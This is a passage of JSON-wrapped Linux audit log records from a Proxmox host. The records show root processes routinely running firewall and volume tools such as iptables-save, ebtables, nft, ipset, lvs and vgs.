type=EXECVE msg=audit(1781965345.296:65203): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965105162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.162:64176): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d7600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966361.316:69421): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345286,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.286:65202): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965105154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.154:64175): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d730 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966361.316:69420): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345280,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.280:65201): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965104486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965104.486:64174): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0000 a1=64f8d73dbd20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361315,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966361.315:69419): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345274,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.274:65200): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965104457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965104.457:64173): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ef9c0 a1=64f8d73c2a30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966356.306:69418): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345268,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.268:65199): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965101787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965101.787:64172): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966356.306:69417): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345259,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.259:65198): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965101781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965101.781:64169): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966356.306:69416): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965344284,"@rawstring":"node=pve type=EXECVE msg=audit(1781965344.284:65197): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965096772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965096.772:64166): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966356.297:69415): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965344250,"@rawstring":"node=pve type=EXECVE msg=audit(1781965344.250:65196): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965096765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965096.765:64163): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966356.297:69414): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965342671,"@rawstring":"node=pve type=EXECVE msg=audit(1781965342.671:65195): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965095142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.142:64160): arch=c000003e syscall=59 success=yes exit=0 a0=591bdf670b20 a1=591bdf67c9f0 a2=591bdf64a680 a3=5 items=2 ppid=61643 pid=61649 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966356.297:69413): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965342655,"@rawstring":"node=pve type=EXECVE msg=audit(1781965342.655:65192): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965095138,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.138:64159): arch=c000003e syscall=59 success=yes exit=0 a0=591bda7acac8 a1=7ffd4acaf620 a2=591bdf64a680 a3=591bda79024e items=2 ppid=61643 pid=61645 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.201:69412): proctitle=\"ebtables-restore\""} {"@timestamp":1781965337648,"@rawstring":"node=pve type=EXECVE msg=audit(1781965337.648:65189): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965095137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.137:64158): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd4acaf5e0 a1=591bdf66c1c0 a2=591bdf64a680 a3=5 items=2 ppid=61643 pid=61644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355198,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.198:69411): proctitle=\"ebtables-restore\""} {"@timestamp":1781965337642,"@rawstring":"node=pve type=EXECVE msg=audit(1781965337.642:65186): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965095133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.133:64156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61643 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.194:69410): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965335247,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.247:65183): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965095126,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.126:64155): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc130f70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61642 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.191:69409): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965335241,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.241:65182): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965095120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.120:64154): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61641 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.190:69408): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965335240,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.240:65181): argc=1 a0=\"date\""} {"@timestamp":1781965095112,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.112:64153): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.190:69407): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965335236,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.236:65179): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965095106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.106:64152): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.184:69406): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965335228,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.228:65178): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965095104,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.104:64151): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a54086f3740 items=0 ppid=1156 pid=61638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966355178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.178:69405): proctitle=69707365740073617665"} {"@timestamp":1781965335220,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.220:65177): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965095102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.102:64150): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13da20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61638 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355173,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.173:69404): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965335210,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.210:65176): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965095096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.096:64149): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61637 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.166:69403): proctitle=\"ip6tables-save\""} {"@timestamp":1781965335203,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.203:65175): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965095092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.092:64148): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61636 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.159:69402): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965335197,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.197:65173): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965095086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.086:64147): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc143490 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.153:69401): proctitle=\"iptables-save\""} {"@timestamp":1781965335191,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.191:65172): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965095082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.082:64146): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61634 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.147:69400): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965335185,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.185:65171): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965095076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.076:64145): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed940 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61633 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.140:69399): proctitle=\"ip6tables-save\""} {"@timestamp":1781965335179,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.179:65170): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965095070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.070:64144): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.133:69398): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965335171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.171:65169): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965095064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.064:64143): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966355.128:69397): proctitle=\"iptables-save\""} {"@timestamp":1781965335165,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.165:65168): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965095060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.060:64142): arch=c000003e syscall=59 success=yes exit=0 a0=59cd1a523d30 a1=59cd1a52faf0 a2=59cd1a4fd680 a3=5 items=2 ppid=61624 pid=61630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966354041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966354.041:69396): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965335157,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.157:65167): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965095056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.056:64141): arch=c000003e syscall=59 success=yes exit=0 a0=59ccec0bfac8 a1=7ffe3e561cd0 a2=59cd1a4fd680 a3=59ccec0a324e items=2 ppid=61624 pid=61626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966354016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966354.016:69395): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965335151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.151:65166): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965095054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.054:64140): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe3e561c90 a1=59cd1a51f3d0 a2=59cd1a4fd680 a3=5 items=2 ppid=61624 pid=61625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966351.287:69394): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335147,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.147:65165): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965095052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.052:64138): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966351.287:69393): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335142,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.142:65164): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965095043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.043:64137): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966351.287:69392): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335139,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.139:65163): argc=1 a0=\"date\""} {"@timestamp":1781965095035,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.035:64136): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966351.281:69391): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335133,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.133:65161): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965095031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.031:64135): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2c60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966351.281:69390): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335127,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.127:65160): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965095023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.023:64134): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e42a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966351281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966351.281:69389): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335118,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.118:65159): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965095010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.010:64133): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0b00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966346272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966346.272:69387): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965335114,"@rawstring":"node=pve type=EXECVE msg=audit(1781965335.114:65158): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965094351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965094.351:64132): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7409a30 a1=64f8d740c6c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61614 auid=4294967295 uid=0 gid=0 euid=0 